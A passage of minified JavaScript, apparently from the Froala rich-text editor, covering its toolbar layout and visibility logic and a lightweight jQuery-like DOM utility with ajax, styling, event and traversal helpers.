fr-float-'.concat(i[l].align?i[l].align:"left",'"></div>'))),i.showMoreButtons&&(d=y('<div class="fr-more-toolbar"></div>').data("name","".concat(l,"-").concat(E.id)),"trackChanges"!==l&&"moreRich"!==l||!E.opts.trackChangesEnabled||d.addClass("fr-expanded"));for(var h=0;h<c.buttons.length;h++){c.buttonsVisible!==undefined&&(p=c.buttonsVisible);var g=E.$tb.find('> .fr-command[data-cmd="'+c.buttons[h]+'"], > div.fr-btn-wrap > .fr-command[data-cmd="'+c.buttons[h]+'"]'),C=null;E.node.hasClass(g.next().get(0),"fr-dropdown-menu")&&(C=g.next()),E.node.hasClass(g.next().get(0),"fr-options")&&(g.removeClass("fr-hidden"),g.next().removeClass("fr-hidden"),g=g.parent()),g.removeClass("fr-hidden"),i.showMoreButtons&&p<=f?(d.append(g),C&&d.append(C)):(u.append(g),"|"===c.buttons[h]?u.append(y('<div class="fr-separator fr-vs" role="separator" aria-orientation="vertical"></div>')):"-"===c.buttons[h]&&u.append(y('<div class="fr-separator fr-hs" role="separator" aria-orientation="horizontal"></div>')),C&&u.append(C)),f++}if(i.showMoreButtons&&p<f){var m=E.$tb.find('.fr-command[data-cmd="'.concat(l,'"]'));if(0<m.length)m.removeClass("fr-hidden fr-open");else{var v=l,b=Z.COMMANDS[v];b&&(b.more_btn=!0,m=y(E.button.build(v,b,!0)),E.button.addButtons(m))}u&&u.append(m)}u&&a.push(u),i.showMoreButtons&&s.push(d)}}E.opts.toolbarBottom?(E.$tb.append(s),E.$tb.find(".fr-newline").remove(),E.$tb.append('<div class="fr-newline"></div>'),E.$tb.append(a)):(E.$tb.append(a),E.$tb.find(".fr-newline").remove(),E.$tb.append('<div class="fr-newline"></div>'),E.$tb.append(s)),E.$tb.removeClass("fr-toolbar-open"),E.$box.removeClass("fr-toolbar-open"),E.events.trigger("codeView.toggle")}T()}function r(t,n){setTimeout(function(){var e;E.opts.iframe?e=E.$iframe.get(0).contentWindow.document.activeElement:e=document.activeElement;if((!t||t.which!=Z.KEYCODE.ESC)&&E.selection.inEditor()&&E.core.hasFocus()&&!E.popups.areVisible()&&"false"!=y(E.selection.blocks()[0]).closest("table").attr("contenteditable")&&"INPUT"!==e.tagName&&"TEXTAREA"!==e.tagName&&(E.opts.toolbarVisibleWithoutSelection||!E.selection.isCollapsed()&&!E.keys.isIME()||n)){if(E.$tb.data("instance",E),!1===E.events.trigger("toolbar.show",[t]))return;if(t&&E.helpers.isMobile()&&!function r(e,t){var n=e.target;for(;n;){if(n===t)return!0;n=n.parentElement}return!1}(t,E.$box))return;E.$tb.show(),E.opts.toolbarContainer||E.position.forSelection(E.$tb),1<E.opts.zIndex?E.$tb.css("z-index",E.opts.zIndex+1):E.$tb.css("z-index",null)}},0)}function i(e){return(!e||"blur"!==e.type||document.activeElement!==E.el)&&((!e||"blur"!==e.type||!E.helpers.isMobile())&&(!(!e||"keydown"!==e.type||!E.keys.ctrlKey(e))||(!!E.button.getButtons(".fr-dropdown.fr-active").next().find(E.o_doc.activeElement).length||(E.helpers.isMobile()&&E.opts.toolbarInline&&(E.$tb.find(".fr-expanded").toggleClass("fr-expanded"),E.$tb.find(".fr-open").removeClass("fr-open"),E.$tb.removeClass("fr-toolbar-open"),T()),void(!1!==E.events.trigger("toolbar.hide")&&E.$tb.hide())))))}t[Z.XS]=n(e(E.opts.toolbarButtonsXS||E.opts.toolbarButtons||Z.TOOLBAR_BUTTONS_XS||Z.TOOLBAR_BUTTONS||[])),t[Z.SM]=n(e(E.opts.toolbarButtonsSM||E.opts.toolbarButtons||Z.TOOLBAR_BUTTONS_SM||Z.TOOLBAR_BUTTONS||[])),t[Z.MD]=n(e(E.opts.toolbarButtonsMD||E.opts.toolbarButtons||Z.TOOLBAR_BUTTONS_MD||Z.TOOLBAR_BUTTONS||[])),t[Z.LG]=n(e(E.opts.toolbarButtons||Z.TOOLBAR_BUTTONS||[]));var a=null;function s(e){clearTimeout(a),e&&e.which===Z.KEYCODE.ESC||(a=setTimeout(r,E.opts.typingTimer))}function l(){E.events.on("window.mousedown",i),E.events.on("keydown",i),E.events.on("blur",i),E.events.$on(E.$tb,"transitionend",".fr-more-toolbar",function(){E.position.forSelection(E.$tb)}),E.helpers.isMobile()||E.events.on("window.mouseup",r),E.helpers.isMobile()?E.helpers.isIOS()||(E.events.on("window.touchend",r),E.browser.mozilla&&setInterval(r,200)):E.events.on("window.keyup",s),E.events.on("keydown",function(e){e&&e.which===Z.KEYCODE.ESC&&E.events.trigger("toolbar.esc")}),E.events.on("keydown",function(e){if(e.which===Z.KEYCODE.ALT)return e.stopPropagation(),!1},!0),E.events.$on(E.$wp,"scroll.toolbar",r),E.events.on("commands.after",r),E.helpers.isMobile()&&(E.events.$on(E.$doc,"selectionchange",s),E.events.$on(E.$doc,"orientationchange",r))}function c(){E.$tb&&(E.$tb.html("").removeData().remove(),E.$tb=null),E.$second_tb&&(E.$second_tb.html("").removeData().remove(),E.$second_tb=null)}function d(){E.$box.removeClass("fr-top fr-bottom fr-inline fr-basic"),E.$box.find(".fr-sticky-dummy").remove()}function f(){E.opts.theme&&E.$tb.addClass("".concat(E.opts.theme,"-theme")),1<E.opts.zIndex&&E.$tb.css("z-index",E.opts.zIndex+1),"auto"!==E.opts.direction&&E.$tb.removeClass("fr-ltr fr-rtl").addClass("fr-".concat(E.opts.direction)),E.helpers.isMobile()?E.$tb.addClass("fr-mobile"):E.$tb.addClass("fr-desktop"),E.opts.toolbarContainer?(E.opts.toolbarInline&&(l(),i()),E.opts.toolbarBottom?E.$tb.addClass("fr-bottom"):E.$tb.addClass("fr-top")):function e(){E.opts.toolbarInline?(E.$sc.append(E.$tb),E.$tb.data("container",E.$sc),E.$tb.addClass("fr-inline"),l(),E.opts.toolbarBottom=!1):(E.opts.toolbarBottom?(E.$box.append(E.$tb),E.$tb.addClass("fr-bottom"),E.$box.addClass("fr-bottom")):(E.opts.toolbarBottom=!1,E.$box.prepend(E.$tb),E.$tb.addClass("fr-top"),E.$box.addClass("fr-top")),E.$tb.addClass("fr-basic"),E.opts.toolbarSticky&&(E.opts.toolbarStickyOffset&&(E.opts.toolbarBottom?E.$tb.css("bottom",E.opts.toolbarStickyOffset):E.$tb.css("top",E.opts.toolbarStickyOffset)),E.position.addSticky(E.$tb)))}(),function t(){var e=E.button.buildGroup(N());E.$tb.append(e),T(),E.button.bindCommands(E.$tb)}(),function r(){E.events.$on(y(E.o_win),"resize",o),E.events.$on(y(E.o_win),"orientationchange",o),E.opts.toolbarButtons&&-1<JSON.stringify(E.opts.toolbarButtons).indexOf("trackChanges")&&o();var e=E.$tb.find(".fr-more-toolbar[data-name=trackChanges-".concat(E.id,"]")),t=0!==e.length&&e.hasClass("fr-expanded");if(E.opts.trackChangesEnabled&&!t){var n=E.$tb.find(".fr-command.fr-btn[data-cmd=trackChanges");e.addClass("fr-expanded"),n.toggleClass("fr-open"),E.toolbar.enable()}}(),E.accessibility.registerToolbar(E.$tb),E.events.$on(E.$tb,"".concat(E._mousedown," ").concat(E._mouseup),function(e){var t=e.originalEvent?e.originalEvent.target||e.originalEvent.originalTarget:null;if(t&&"INPUT"!==t.tagName&&!E.edit.isDisabled())return e.stopPropagation(),e.preventDefault(),!1},!0),E.helpers.isMobile()&&E.events.$on(E.$tb,"click",function(){E.popups.areVisible().length||E.id!==E.shared.selected_editor&&E.shared.selected_editor||E.$el.focus()}),E.events.$on(E.$tb,"transitionend",".fr-more-toolbar",function(){E.$box.hasClass("fr-fullscreen")&&(E.opts.height=E.o_win.innerHeight-(E.opts.toolbarInline?0:E.$tb.outerHeight()+(E.$second_tb?E.$second_tb.outerHeight():0)),E.size.refresh())})}var p=!1;return{_init:function u(){if(E.$sc=y(E.opts.scrollableContainer).first(),!E.$wp)return!1;E.opts.toolbarInline||E.opts.toolbarBottom||(E.$second_tb=y(E.doc.createElement("div")).attr("class","fr-second-toolbar"),E.$box.append(E.$second_tb),(!1!==E.ul||E.opts.attribution)&&E.$second_tb.prepend(Z.POWERED_BY)),E.opts.toolbarContainer?(E.shared.$tb?(E.$tb=E.shared.$tb,E.opts.toolbarInline&&l()):(E.shared.$tb=y(E.doc.createElement("DIV")),E.shared.$tb.addClass("fr-toolbar"),E.$tb=E.shared.$tb,y(E.opts.toolbarContainer).append(E.$tb),f(),E.$tb.data("instance",E)),E.opts.toolbarInline?E.$box.addClass("fr-inline"):E.$box.addClass("fr-basic"),E.events.on("focus",function(){E.$tb.data("instance",E)},!0),E.opts.toolbarInline=!1):E.opts.toolbarInline?(E.$box.addClass("fr-inline"),E.shared.$tb?(E.$tb=E.shared.$tb,l()):(E.shared.$tb=y(E.doc.createElement("DIV")),E.shared.$tb.addClass("fr-toolbar"),E.$tb=E.shared.$tb,f())):(E.$box.addClass("fr-basic"),E.$tb=y(E.doc.createElement("DIV")),E.$tb.addClass("fr-toolbar"),f(),E.$tb.data("instance",E)),E.events.on("destroy",d,!0),E.events.on(E.opts.toolbarInline||E.opts.toolbarContainer?"shared.destroy":"destroy",c,!0),E.events.on("edit.on",function(){E.$tb.removeClass("fr-disabled").removeAttr("aria-disabled")}),E.events.on("edit.off",function(){E.$tb.addClass("fr-disabled").attr("aria-disabled",!0)}),function e(){E.events.on("shortcut",function(e,t,n){var r;if(t&&!n?r=E.$tb.find('.fr-command[data-cmd="'.concat(t,'"]')):t&&n&&(r=E.$tb.find('.fr-command[data-cmd="'.concat(t,'"][data-param1="').concat(n,'"]'))),r.length&&(e.preventDefault(),e.stopPropagation(),r.parents(".fr-toolbar").data("instance",E),"keydown"===e.type))return E.button.exec(r),!1})}()},hide:i,show:function h(){if(!1===E.events.trigger("toolbar.show"))return!1;E.$tb.show()},showInline:r,disable:function g(){!p&&E.$tb&&(E.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command, .fr-btn-wrap > .fr-command").addClass("fr-disabled fr-no-refresh").attr("aria-disabled",!0),p=!0)},enable:function C(){p&&E.$tb&&(E.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command, .fr-btn-wrap > .fr-command").removeClass("fr-disabled fr-no-refresh").attr("aria-disabled",!1),p=!1),E.button.bulkRefresh()},setMoreToolbarsHeight:T}};var c=["scroll","wheel","touchmove","touchstart","touchend"],d=["webkit","moz","ms","o"],f=["transitionend"],i=document.createElement("div").style,a=["Webkit","Moz","ms","O","css","style"],s={visibility:"hidden",display:"block"},r=["focus","blur","click"],p={},u=function u(e,t){return{altKey:e.altKey,bubbles:e.bubbles,cancelable:e.cancelable,changedTouches:e.changedTouches,ctrlKey:e.ctrlKey,detail:e.detail,eventPhase:e.eventPhase,metaKey:e.metaKey,pageX:e.pageX,pageY:e.pageY,shiftKey:e.shiftKey,view:e.view,"char":e["char"],key:e.key,keyCode:e.keyCode,button:e.button,buttons:e.buttons,clientX:e.clientX,clientY:e.clientY,offsetX:e.offsetX,offsetY:e.offsetY,pointerId:e.pointerId,pointerType:e.pointerType,screenX:e.screenX,screenY:e.screenY,targetTouches:e.targetTouches,toElement:e.toElement,touches:e.touches,type:e.type,which:e.which,target:e.target,currentTarget:t,originalEvent:e,stopPropagation:function(){e.stopPropagation()},stopImmediatePropagation:function(){e.stopImmediatePropagation()},preventDefault:function(){(/Android/i.test(navigator.userAgent)&&"touchend"===e.type||-1===c.indexOf(e.type))&&e.preventDefault()}}},h=function h(e){return e.ownerDocument&&e.ownerDocument.body&&e.ownerDocument.body.contains(e)||"#document"===e.nodeName||"HTML"===e.nodeName||e===window},g=function g(n,r){return function(e){var t=e.target;if(r)for(r=m(r);t&&t!==this;)Element.prototype.matches.call(t,m(r))&&n.call(t,u(e,t)),t=t.parentNode;else h(t)&&n.call(t,u(e,t))}},C=function C(e,t){return new N(e,t)},m=function m(e){return e&&"string"==typeof e?e.replace(/^\s*>/g,":scope >").replace(/,\s*>/g,", :scope >"):e},v=function v(e){return"function"==typeof e&&"number"!=typeof e.nodeType},b=C;C.fn=C.prototype={constructor:C,length:0,contains:function(e){if(!e)return!1;if(Array.isArray(e)){for(var t=0;t<e.length;t++)if(this.contains(e[t])&&this!=e[t])return!0;return!1}for(var n=0;n<this.length;n++)for(var r=e;r;){if(r==this[n]||r[0]&&r[0].isEqualNode(this[n]))return!0;r=r.parentNode}return!1},findVisible:function(e){for(var t=this.find(e),n=t.length-1;0<=n;n--)b(t[n]).isVisible()||t.splice(n,1);return t},formatParams:function(t){var e="".concat(Object.keys(t).map(function(e){return"".concat(e,"=").concat(encodeURIComponent(t[e]))}).join("&"));return e||""},ajax:function(t){var n=new XMLHttpRequest,e=this.formatParams(t.data);for(var r in"GET"===t.method.toUpperCase()&&(t.url=e?t.url+"?"+e:t.url),n.open(t.method,t.url,!0),t.withCredentials&&(n.withCredentials=!0),t.crossDomain&&n.setRequestHeader("Access-Control-Allow-Origin","*"),t.headers)Object.prototype.hasOwnProperty.call(t.headers,r)&&n.setRequestHeader(r,t.headers[r]);Object.prototype.hasOwnProperty.call(t.headers,"Content-Type")||("json"===t.dataType?n.setRequestHeader("Content-Type","application/json"):n.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8")),n.onload=function(){if(200==n.status){var e=n.responseText;"json"===t.dataType&&(e=JSON.parse(e)),t.done(e,n.status,n)}else t.fail(n)},n.send(e)},prevAll:function(){var e=b();if(!this[0])return e;for(var t=this[0];t&&t.previousSibling;)t=t.previousSibling,e.push(t);return e},index:function(e){return e?"string"==typeof e?[].indexOf.call(b(e),this[0]):[].indexOf.call(this,e.length?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},isVisible:function(){return!!this[0]&&!!(this[0].offsetWidth||this[0].offsetHeight||this[0].getClientRects().length)},toArray:function(){return[].slice.call(this)},get:function(e){return null==e?[].slice.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=C.merge(this.constructor(),e);return t.prevObject=this,t},wrapAll:function(e){var t;return this[0]&&(v(e)&&(e=e.call(this[0])),t=C(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstElementChild;)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){if("string"==typeof e){for(var t=e.split(" "),n=0;n<t.length&&0===t[n].trim().length;)n++;if(n<t.length&&(b(e).length&&t[n].trim()===b(e)[0].tagName&&(e=document.createElement(t[n].trim())),n++),"string"!=typeof e)for(var r=b(e);n<t.length;n++){t[n]=t[n].trim();var o=t[n].split("=");r.attr(o[0],o[1].replace('"',""))}}for(;this[0].firstChild&&this[0].firstChild!==e&&"string"!=typeof e;)e.appendChild(this[0].firstChild)},wrapContent:function(e){for(var t=document.createElement(e.tagName),n=0;n<e.attributes.length;n++)b(t).attr(e.attributes[n].nodeName,e.attributes[n].value);b(this[0]).contents().wrapAll(t)},wrap:function(t){var n=v(t);return this.each(function(e){b(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(){return this.parent().each(function(){this.nodeName&&this.nodeName.toLowerCase()===name.toLowerCase()||C(this).replaceWith(this.childNodes)})},grep:function(e,t,n){for(var r=[],o=0,i=e.length,a=!n;o<i;o++)!t(e[o],o)!==a&&r.push(e[o]);return r},map:function(n){return this.pushStack(C.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack([].slice.apply(this,arguments))},each:function(e){if(this.length)for(var t=0;t<this.length&&!1!==e.call(this[t],t,this[t]);t++);return this},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},empty:function(){for(var e=0;e<this.length;e++)this[e].innerHTML=""},contents:function(){for(var e=b(),t=0;t<this.length;t++)for(var n=this[t].childNodes,r=0;r<n.length;r++)e.push(n[r]);return e},attr:function(e,t){if("object"===x(e)){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&null!==e[n]&&this.attr(n,e[n]);return this}if(void 0===t)return 0===this.length||!this[0].getAttribute&&"checked"!==e?undefined:"checked"===e?this[0].checked:"tagName"===e?this[0].tagName:this[0].getAttribute(e);if("checked"===e)for(var r=0;r<this.length;r++)this[r].checked=t;else if("tagName"===e)for(var o=0;o<this.length;o++)this[o].tagName=t;else for(var i=0;i<this.length;i++)this[i].setAttribute(e,t);return this},removeAttr:function(e){for(var t=0;t<this.length;t++)this[t].removeAttribute&&this[t].removeAttribute(e);return this},hide:function(){return this.css("display","none"),this},show:function(){return this.css("display","block"),this},focus:function(){return this.length&&this[0].focus(),this},blur:function(){return this.length&&this[0].blur(),this},data:function(e,t){if(void 0!==t){for(var n=0;n<this.length;n++)"object"!==x(this[n]["data-"+e]=t)&&"function"!=typeof t&&this[n].setAttribute&&this[n].setAttribute("data-"+e,t);return this}if(void 0!==t)return this.attr("data-"+e,t);if(0===this.length)return undefined;for(var r=0;r<this.length;r++){var o=this[r]["data-"+e];if(null==o&&this[r].getAttribute&&(o=this[r].getAttribute("data-"+e)),void 0!==o&&null!=o)return o}return undefined},removeData:function(e){for(var t=0;t<this.length;t++)this[t].removeAttribute&&this[t].removeAttribute("data-"+e),this[t]["data-"+e]=null;return this},getCorrectStyleName:function(e){if(!p[e]){var t;e in i&&(t=e);for(var n=e[0].toUpperCase()+e.slice(1),r=a.length;r--;)(e=a[r]+n)in i&&(t=e);p[e]=t}return p[e]},css:function(e,t){if(void 0!==t){if(0===this.length)return this;("string"!=typeof t||""===t.trim()||isNaN(t))&&"number"!=typeof t||!/(margin)|(padding)|(height)|(width)|(top)|(left)|(right)|(bottom)/gi.test(e)||/(line-height)/gi.test(e)||(t+="px");for(var n=0;n<this.length;n++)e=b(this).getCorrectStyleName(e),this[n].style[e]=t;return this}if("string"==typeof e){if(0===this.length)return undefined;var r=this[0].ownerDocument||document,o=r.defaultView||r.parentWindow;return e=b(this).getCorrectStyleName(e),o.getComputedStyle(this[0])[e]}for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&this.css(i,e[i]);return this},toggleClass:function(e,t){if(1<e.split(" ").length){for(var n=e.split(" "),r=0;r<n.length;r++)this.toggleClass(n[r],t);return this}for(var o=0;o<this.length;o++)void 0===t?this[o].classList.contains(e)?this[o].classList.remove(e):this[o].classList.add(e):t?this[o].classList.contains(e)||this[o].classList.add(e):this[o].classList.contains(e)&&this[o].classList.remove(e);return this},addClass:function(e){if(0===e.length)return this;if(1<e.split(" ").length){for(var t=e.split(" "),n=0;n<t.length;n++)this.addClass(t[n]);return this}for(var r=0;r<this.length;r++)this[r].classList.add(e);return this},removeClass:function(e){if(1<e.split(" ").length){for(var t=e.split(" "),n=0;n<t.length;n++)t[n]=t[n].trim(),t[n].length&&this.removeClass(t[n]);return this}for(var r=0;r<this.length;r++)e.length&&this[r].classList.remove(e);return this},getClass:function(e){return e.getAttribute&&e.getAttribute("class")||""},stripAndCollapse:function(e){return(e.match(/[^\x20\t\r\n\f]+/g)||[]).join(" ")},hasClass:function(e){var t,n,r=0;for(t=" "+e+" ";n=this[r++];)if(1===n.nodeType&&-1<(" "+b(this).stripAndCollapse(b(this).getClass(n))+" ").indexOf(t))return!0;return!1},scrollTop:function(e){if(void 0===e)return 0===this.length?undefined:this[0]===document?document.documentElement.scrollTop:this[0].scrollTop;for(var t=0;t<this.length;t++)this[t]===document?window.scrollTo(document.documentElement.scrollLeft,e):this[t].scrollTop=e},scrollLeft:function(e){if(void 0===e)return 0===this.length?undefined:this[0]===document?document.documentElement.scrollLeft:this[0].scrollLeft;for(var t=0;t<this.length;t++)this[t]===document?window.scrollTo(e,document.documentElement.scrollTop):this[t].scrollLeft=e},on:function(e,t,n){if(1<e.split(" ").length){for(var r=e.split(" "),o=0;o<r.length;o++)if(-1!==f.indexOf(e))for(var i=0;i<d.length;i++)this.on(d[i]+e[0].toUpperCase()+e.slice(1),t,n);else this.on(r[o],t,n);return this}n="function"==typeof t?g(t,null):g(n,t);for(var a=0;a<this.length;a++){var s=b(this[a]);s.data("events")||s.data("events",[]),s.data("events").push([e,n]);var l=e.split(".");l=l[0],/Android/i.test(navigator.userAgent)&&e.includes("touchend")||!(0<=c.indexOf(l))?s.get(0).addEventListener(l,n):s.get(0).addEventListener(l,n,{passive:!0})}},off:function(e){if(1<e.split(" ").length){for(var t=e.split(" "),n=0;n<t.length;n++)this.off(t[n]);return this}for(var r=0;r<this.length;r++){var o=b(this[r]);if(o.data("events")){var i=e.split(".");i=i[0];for(var a=o.data("events")||[],s=a.length-1;0<=s;s--){var l=a[s];l[0]==e&&(o.get(0).removeEventListener(i,l[1]),a.splice(s,1))}}}},trigger:function(e){for(var t=0;t<this.length;t++){var n=void 0;"function"==typeof Event?n=0<=e.search(/^mouse/g)?new MouseEvent(e,{view:window,cancelable:!0,bubbles:!0}):new Event(e):0<=e.search(/^mouse/g)?(n=document.createEvent("MouseEvents")).initMouseEvent(e,!0,!0,window,0,0,0,0,0,!1,!1,!1,!1,0,null):(n=document.createEvent("Event")).initEvent(e,!0,!0),0<=r.indexOf(e)&&"function"==typeof this[t][e]?this[t][e]():this[t].dispatchEvent(n)}},triggerHandler:function(){},val:function(e){if(void 0===e)return this[0].value;for(var t=0;t<this.length;t++)this[t].value=e;return this},siblings:function(){return b(this[0]).parent().children().not(this)},find:function(e){var t=b();if("string"!=typeof e){for(var n=0;n<e.length;n++)for(var r=0;r<this.length;r++)if(this[r]!==e[n]&&b(this[r]).contains(e[n])){t.push(e[n]);break}return t}var o=function o(e){return"object"===("undefined"==typeof HTMLElement?"undefined":x(HTMLElement))?e instanceof HTMLElement:e&&"object"===x(e)&&null!==e&&1===e.nodeType&&"string"==typeof e.nodeName};e=m(e);for(var i=0;i<this.length;i++)if(this[i].querySelectorAll){var a=[];if(e&&"string"==typeof e)try{a=this[i].querySelectorAll(e)}catch(l){a=this[i].children}else o(e)&&(a=[e]);for(var s=0;s<a.length;s++)t.push(a[s])}return t},children:function(){for(var e=b(),t=0;t<this.length;t++)for(var n=this[t].children,r=0;r<n.length;r++)e.push(n[r]);return e},not:function(e){if("string"==typeof e)for(var t=this.length-1;0<=t;t--)Element.prototype.matches.call(this[t],e)&&this.splice(t,1);else if(e instanceof C){for(var n=this.length-1;0<=n;n--)for(var r=0;r<e.length;r++)if(this[n]===e[r]){this.splice(n,1);break}}else for(var o=this.length-1;0<=o;o--)this[o]===e[0]&&this.splice(o,1);return this},add:function(e){for(var t=0;t<e.length;t++)this.push(e[t]);return this},closest:function(e){for(var t=0;t<this.length;t++){var n=Element.prototype.closest.call(this[t],e);if(n)return b(n)}return b()},html:function(e){if(void 0===e)return 0===this.length?undefined:this[0].innerHTML;if("string"==typeof e)for(var t=0;t<this.length;t++){this[t].innerHTML=e;for(var n=this[t].children,r=this[t].ownerDocument||document,o=0;o<n.length;o++)if("SCRIPT"===n[o].tagName){var i=r.createElement("script");i.innerHTML=n[o].innerHTML,n[o].hasAttribute("async")&&i.setAttribute("async",""),i.src=n[o].src,n[o].hasAttribute("defer")&&i.setAttribute("defer",""),r.head.appendChild(i).parentNode.removeChild(i)}}else{this[0].innerHTML="",this.append(e[0]);var a=this[0].ownerDocument||document;if("SCRIPT"===e[0].tagName){var s=a.createElement("script");s.innerHTML=e[0].innerHTML,a.head.appendChild(s).parentNode.removeChild(s)}}return this},text:function(e){if(!e)return this.length?this[0].textContent:"";for(var t=0;t<this.length;t++)this[t].textContent=e},after:function e(t){if(t)if("string"==typeof t)for(var n=0;n<this.length;n++){var e=this[n];if(e.nodeType!=Node.ELEMENT_NODE){var r=e.ownerDocument.createElement("SPAN");b(e).after(r),b(r).after(t).remove()}else e.insertAdjacentHTML("afterend",t)}else{var o=this[0];if(o.nextSibling)if(t instanceof C)for(var i=0;i<t.length;i++)o.nextSibling.parentNode.insertBefore(t[i],o.nextSibling);else o.nextSibling.parentNode.insertBefore(t,o.nextSibling);else b(o.parentNode).append(t)}return this},clone:function(e){for(var t=b(),n=0;n<this.length;n++)t.push(this[n].cloneNode(e));return t},replaceWith:function(e){if("string"==typeof e)for(var t=0;t<this.length;t++)this[t].parentNode&&(this[t].outerHTML=e);else if(e&&e.length)for(var n=0;n<this.length;n++)this.replaceWith(e[n]);else this.after(e).remove()},insertBefore:function(e){return b(e).before(this[0]),this},before:function e(t){if(t instanceof C){for(var n=0;n<t.length;n++)this.before(t[n]);return this}if(t)if("string"==typeof t)for(var r=0;r<this.length;r++){var e=this[r];if(e.nodeType!=Node.ELEMENT_NODE){var o=e.ownerDocument.createElement("SPAN");b(e).before(o),b(o).before(t).remove()}else e.parentNode&&e.insertAdjacentHTML("beforebegin",t)}else{var i=this[0];if(i.parentNode)if(t instanceof C)for(var a=0;a<t.length;a++)i.parentNode.insertBefore(t[a],i);else i.parentNode.insertBefore(t,i)}return this},append:function(e){if(0==this.length)return this;if("string"==typeof e)for(var t=0;t<this.length;t++){var n=this[t],r=n.ownerDocument.createElement("SPAN");b(n).append(r),b(r).after(e).remove()}else if(e instanceof C||Array.isArray(e))for(var o=0;o<e.length;o++)this.append(e[o]);else"function"!=typeof e&&this[0].appendChild(e);return this},prepend:function(e){if(0==this.length)return this;if("string"==typeof e)for(var t=0;t<this.length;t++){var n=this[t],r=n.ownerDocument.createElement("SPAN");b(n).prepend(r),b(r).before(e).remove()}else if(e instanceof C)for(var o=0;o<e.length;o++)this.prepend(e[o]);else{var i=this[0];i.firstChild?i.firstChild?i.insertBefore(e,i.firstChild):i.appendChild(e):b(i).append(e)}return this},remove:function(){for(var e=0;e<this.length;e++)this[e].parentNode&&this[e].parentNode.removeChild(this[e]);return this},prev:function(){return this.length&&this[0].previousElementSibling?b(this[0].previousElementSibling):b()},next:function(){return this.length&&this[0].nextElementSibling?b(this[0].nextElementSibling):b()},nextAllVisible:function(){return this.next()},prevAllVisible:function(){return this.prev()},outerHeight:function(e){if(0===this.length)return undefined;var t=this[0];if(t===t.window)return t.innerHeight;var n={},r=this.isVisible();if(!r)for(var o in s)n[o]=t.style[o],t.style[o]=s[o];var i=t.offsetHeight;if(e&&(i+=parseInt(b(t).css("marginTop"))+parseInt(b(t).css("marginBottom"))),!r)for(var a in s)t.style[a]=n[a];return i},outerWidth:function(e){if(0===this.length)return undefined;var t=this[0];if(t===t.window)return t.outerWidth;var n={},r=this.isVisible();if(!r)for(var o in s)n[o]=t.style[o],t.style[o]=s[o];var i=t.offsetWidth;if(e&&(i+=parseInt(b(t).css("marginLeft"))+parseInt(b(t).css("marginRight"))),!r)for(var a in s)t.style[a]=n[a];return i},width:function(e){if(e===undefined){if(this[0]instanceof HTMLDocument)return this[0].body.offsetWidth;if(this[0])return this[0].offsetWidth}else this[0].style.width=e+"px"},height:function(e){var t=this[0];if(e===undefined){if(t instanceof HTMLDocument){var n=t.documentElement;return Math.max(t.body.scrollHeight,n.scrollHeight,t.body.offsetHeight,n.offsetHeight,n.clientHeight)}return t.offsetHeight}t.style.height=e+"px"},is:function(e){return 0!==this.length&&("string"==typeof e&&this[0].matches?this[0].matches(e):e instanceof C?this[0]==e[0]:this[0]==e)},parent:function(){return 0===this.length?b():b(this[0].parentNode)},_matches:function(e,t){var n=e.matches||e.matchesSelector||e.msMatchesSelector||e.mozMatchesSelector||e.webkitMatchesSelector||e.oMatchesSelector;return e&&!t?n:n.call(e,t)},parents:function(e){for(var t=b(),n=0;n<this.length;n++)for(var r=this[n].parentNode;r&&r!=document&&this._matches(r);)e?this._matches(r,e)&&t.push(r):t.push(r),r=r.parentNode;return t},parentsUntil:function(e,t){var n=b();e instanceof C&&0<e.length&&(e=e[0]);for(var r=0;r<this.length;r++)for(var o=this[r].parentNode;o&&o!=document&&o!=e&&this[r]!=e&&("string"!=typeof e||!Element.prototype.matches.call(o,e));)t?Element.prototype.matches.call(o,t)&&n.push(o):n.push(o),o=o.parentNode;return n},insertAfter:function(e){var t=e.parent()[0];t&&t.insertBefore(this[0],e[0].nextElementSibling)},filter:function(e){var t=b();if("function"==typeof e)for(var n=0;n<this.length;n++)e.call(this[n],this[n])&&t.push(this[n]);else if("string"==typeof e)for(var r=0;r<this.length;r++)this[r].matches(e)&&t.push(this[r]);return t},offset:function(){if(0===this.length)return undefined;var e=this[0].getBoundingClientRect(),t=this[0].ownerDocument.defaultView;return{top:e.top+t.pageYOffset,left:e.left+t.pageXOffset}},position:function(){return{left:this[0].offsetLeft,top:this[0].offsetTop}},push:[].push,splice:[].splice},C.extend=function(e){e=e||{};for(var t=1;t<arguments.length;t++)if(arguments[t])for(var n in arguments[t])Object.prototype.hasOwnProperty.call(arguments[t],n)&&(e[n]=arguments[t][n]);return e},C.merge=function(e,t){for(var n=+t.length,r=0,o=e.length;r<n;r++)e[o++]=t[r];return e.length=o,e},C.map=function(e,t,n){var r,o,i=0,a=[];if(Array.isArray(e))for(r=e.length;i<r;i++)null!=(o=t(e[i],i,n))&&a.push(o);else for(i in e)null!=(o=t(e[i],i,n))&&a.push(o);return[].concat.apply([],a)};var N=function N(e,t){if(!e)return this;if("string"==typeof e&&"<"===e[0]){var n=document.createElement("DIV");return n.innerHTML=e,b(n.firstElementChild)}if(t=t instanceof C?t[0]:t,"string"!=typeof e)return e instanceof C?e:(this[0]=e,this.length=1,this);e=m(e);for(var r=(t||document).querySelectorAll(e),o=0;o<r.length;o++)this[o]=r[o];return this.length=r.length,this};N.prototype=C.prototype;var T=Z;function M(){this.doc=this.$el.get(0).ownerDocument,this.win="defaultView"in 